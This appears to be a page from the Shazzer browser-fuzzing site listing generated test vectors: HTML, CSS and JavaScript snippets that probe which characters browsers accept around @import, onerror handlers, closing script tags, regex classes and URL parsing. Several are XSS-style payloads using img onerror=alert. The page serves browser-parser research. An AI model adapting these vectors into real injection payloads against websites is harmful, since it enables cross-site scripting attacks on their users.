Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
const style = document.createElement("style");
style.textContent = '@x'+String.fromCodePoint(59)+'@import url(https://fuzz.shazzer.co.uk/1wcde2am283?59);';
document.head.appendChild(style);Checks which characters can be inserted into CSS style declarations before a @x prefix.
const style = document.createElement("style");
style.textContent = '@x'+String.fromCodePoint(59)+'@import url(https://fuzz.shazzer.co.uk/jleanlu6hi?59);';
document.head.appendChild(style);Checks which characters can be inserted into CSS style declarations before a @x prefix.
const style = document.createElement("style");
style.textContent = '@x'+String.fromCodePoint(59)+'@import url(https://fuzz.shazzer.co.uk/m4zmsxxklv?59);';
document.head.appendChild(style);Checks which characters can be inserted into CSS style declarations before a @x prefix.
const style = document.createElement("style");
style.textContent = '@x'+String.fromCodePoint(59)+'@import url(https://fuzz.shazzer.co.uk/usqtfzt7fs?59);';
document.head.appendChild(style);Checks which characters can be inserted into CSS style declarations before a @x prefix.
const style = document.createElement("style");
style.textContent = '@x'+String.fromCodePoint(59)+'@import url(https://fuzz.shazzer.co.uk/d2g8hq07gyo?59);';
document.head.appendChild(style);Checks which characters can be inserted into CSS style declarations before a @x prefix.
This vector shows which characters are valid variables after a valid variable character.
This vector shows which characters are valid variables after a valid variable character.
This vector shows which characters are valid variables after a valid variable character.
This vector shows which characters are valid variables after a valid variable character.
<div style=background:\image-set(url(https://fuzz.shazzer.co.uk/fx9ux8dwt0j?92#))>This vector shows what characters are allowed before the image-set() function with a nested url() function.
<div style=background:\image-set(url(https://fuzz.shazzer.co.uk/97csglp1lcw?92#))>This vector shows what characters are allowed before the image-set() function with a nested url() function.
<div style=background:\image-set(url(https://fuzz.shazzer.co.uk/0c1s934u44w?92#))>This vector shows what characters are allowed before the image-set() function with a nested url() function.
<div style=background:\image-set(url(https://fuzz.shazzer.co.uk/e0qyfirk7y?92#))>This vector shows what characters are allowed before the image-set() function with a nested url() function.
<div style=background:\image-set(url(https://fuzz.shazzer.co.uk/q6urkhmt62?92#))>This vector shows what characters are allowed before the image-set() function with a nested url() function.
const c = String.fromCodePoint(i);
if (parseFloat("13"+c+"37") === 13.37 || Number("13"+c+"37") === 13.37) alert(i);Fuzzes for characters that are treated as decimal separators in either parseFloat or the Number constructor.
const c = String.fromCodePoint(i);
if ((c+"hello"+c).trim() === "hello") alert(i);const style = document.createElement("style");
style.textContent = '@import'+String.fromCodePoint(9)+'url("https://fuzz.shazzer.co.uk/exeu3t7xlud?9");';
document.head.appendChild(style);This vector shows which characters are allowed before an URL function after the @import statement.
const style = document.createElement("style");
style.textContent = '@import'+String.fromCodePoint(10)+'url("https://fuzz.shazzer.co.uk/es8988ixxm?10");';
document.head.appendChild(style);This vector shows which characters are allowed before an URL function after the @import statement.
const style = document.createElement("style");
style.textContent = '@import'+String.fromCodePoint(12)+'url("https://fuzz.shazzer.co.uk/aqkg4arilrk?12");';
document.head.appendChild(style);This vector shows which characters are allowed before an URL function after the @import statement.
const style = document.createElement("style");
style.textContent = '@import'+String.fromCodePoint(13)+'url("https://fuzz.shazzer.co.uk/wh1ckg7fcxn?13");';
document.head.appendChild(style);This vector shows which characters are allowed before an URL function after the @import statement.
const style = document.createElement("style");
style.textContent = '@import'+String.fromCodePoint(32)+'url("https://fuzz.shazzer.co.uk/br1gd4s6xr?32");';
document.head.appendChild(style);This vector shows which characters are allowed before an URL function after the @import statement.
const style = document.createElement("style");
style.textContent = String.fromCodePoint(9)+'@import url("https://fuzz.shazzer.co.uk/tvo4u1gk65?9");';
document.head.appendChild(style);This vector shows which characters are allowed before an @import statement. It uses the new URL fuzzing functionality in Shazzer.
const style = document.createElement("style");
style.textContent = String.fromCodePoint(10)+'@import url("https://fuzz.shazzer.co.uk/z5xi9lss3t?10");';
document.head.appendChild(style);This vector shows which characters are allowed before an @import statement. It uses the new URL fuzzing functionality in Shazzer.
const style = document.createElement("style");
style.textContent = String.fromCodePoint(12)+'@import url("https://fuzz.shazzer.co.uk/s4w6yfd0bq?12");';
document.head.appendChild(style);This vector shows which characters are allowed before an @import statement. It uses the new URL fuzzing functionality in Shazzer.
const style = document.createElement("style");
style.textContent = String.fromCodePoint(13)+'@import url("https://fuzz.shazzer.co.uk/ltvi9nmsuf?13");';
document.head.appendChild(style);This vector shows which characters are allowed before an @import statement. It uses the new URL fuzzing functionality in Shazzer.
const style = document.createElement("style");
style.textContent = String.fromCodePoint(32)+'@import url("https://fuzz.shazzer.co.uk/1na8xds4lni?32");';
document.head.appendChild(style);This vector shows which characters are allowed before an @import statement. It uses the new URL fuzzing functionality in Shazzer.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
<a0x09id="test">Characters allowed in between start of HTML tag name and event handler
<a
id="test"><a0x0Cid="test">Characters allowed in between start of HTML tag name and event handler
<a
id="test">Characters allowed in between start of HTML tag name and event handler
<a id="test"><script>
a="</script
><img src=data: onerror=alert(13)>"
</script>Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.
<script>
a="</script ><img src=data: onerror=alert(32)>"
</script>Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.
<script>
a="</script/><img src=data: onerror=alert(47)>"
</script>Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.
<script>
a="</script0x0C><img src=data: onerror=alert(12)>"
</script>Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.
<script>
a="</script0x09><img src=data: onerror=alert(9)>"
</script>Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.
Characters that are may be part of HTML tag names. These are less strict that the first character
Characters that are possible starts of HTML tag names, for use in "custom tags" on portswigger.net/web-security/cross-site-scripting/…
Characters that are possible starts of HTML tag names, for use in "custom tags" on portswigger.net/web-security/cross-site-scripting/…
Characters that are possible starts of HTML tag names, for use in "custom tags" on portswigger.net/web-security/cross-site-scripting/…
Characters that are possible starts of HTML tag names, for use in "custom tags" on portswigger.net/web-security/cross-site-scripting/…
Characters that are possible starts of HTML tag names, for use in "custom tags" on portswigger.net/web-security/cross-site-scripting/…
/^\s+$/.test(String.fromCodePoint(9)) && alert(9)This vector shows which characters are valid whitespace characters in a \s escape sequence.
/^\s+$/.test(String.fromCodePoint(10)) && alert(10)This vector shows which characters are valid whitespace characters in a \s escape sequence.
/^\s+$/.test(String.fromCodePoint(11)) && alert(11)This vector shows which characters are valid whitespace characters in a \s escape sequence.
/^\s+$/.test(String.fromCodePoint(12)) && alert(12)This vector shows which characters are valid whitespace characters in a \s escape sequence.
/^\s+$/.test(String.fromCodePoint(13)) && alert(13)This vector shows which characters are valid whitespace characters in a \s escape sequence.
<style>
x0x01{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector with a alpha prefix
<style>
x0x02{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector with a alpha prefix
<style>
x0x03{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector with a alpha prefix
<style>
x0x04{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector with a alpha prefix
<style>
x0x05{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector with a alpha prefix
<style>
0x01{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector.
<style>
0x02{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector.
<style>
0x03{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector.
<style>
0x04{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector.
<style>
0x05{position:"
}@import'data:text/css,%23x{color:red}';
</style>
<div id="x">test</div>This vector uses an import inside a CSS string to test which characters cause an invalid CSS selector.
/\p{scx=Latin}+/gu.test(String.fromCodePoint(i)) && alert(i)/\w/ui.test(String.fromCodePoint(i)) && alert(i)Regex "word" characters may match Unicode characters that get canonicalized to one of the regular characters too with /ui flags: developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
<div id=x style="color:red!	\69mportant">test</div>
Shows which characters are allowed after ! in a inline style.
<div id=x style="color:red! \69mportant">test</div>
Shows which characters are allowed after ! in a inline style.
<div id=x style="color:red!\69mportant">test</div>
Shows which characters are allowed after ! in a inline style.
<div id=x style="color:red! \69mportant">test</div>
Shows which characters are allowed after ! in a inline style.
<div id=x style="color:red! \69mportant">test</div>
Shows which characters are allowed after ! in a inline style.
let chr = String.fromCodePoint(9);
let a = document.createElement("a");
a.href = '/'+chr+'/example.com';
new URL(a.href).host === "example.com" && alert(9)let chr = String.fromCodePoint(10);
let a = document.createElement("a");
a.href = '/'+chr+'/example.com';
new URL(a.href).host === "example.com" && alert(10)let chr = String.fromCodePoint(13);
let a = document.createElement("a");
a.href = '/'+chr+'/example.com';
new URL(a.href).host === "example.com" && alert(13)let chr = String.fromCodePoint(47);
let a = document.createElement("a");
a.href = '/'+chr+'/example.com';
new URL(a.href).host === "example.com" && alert(47)let chr = String.fromCodePoint(92);
let a = document.createElement("a");
a.href = '/'+chr+'/example.com';
new URL(a.href).host === "example.com" && alert(92)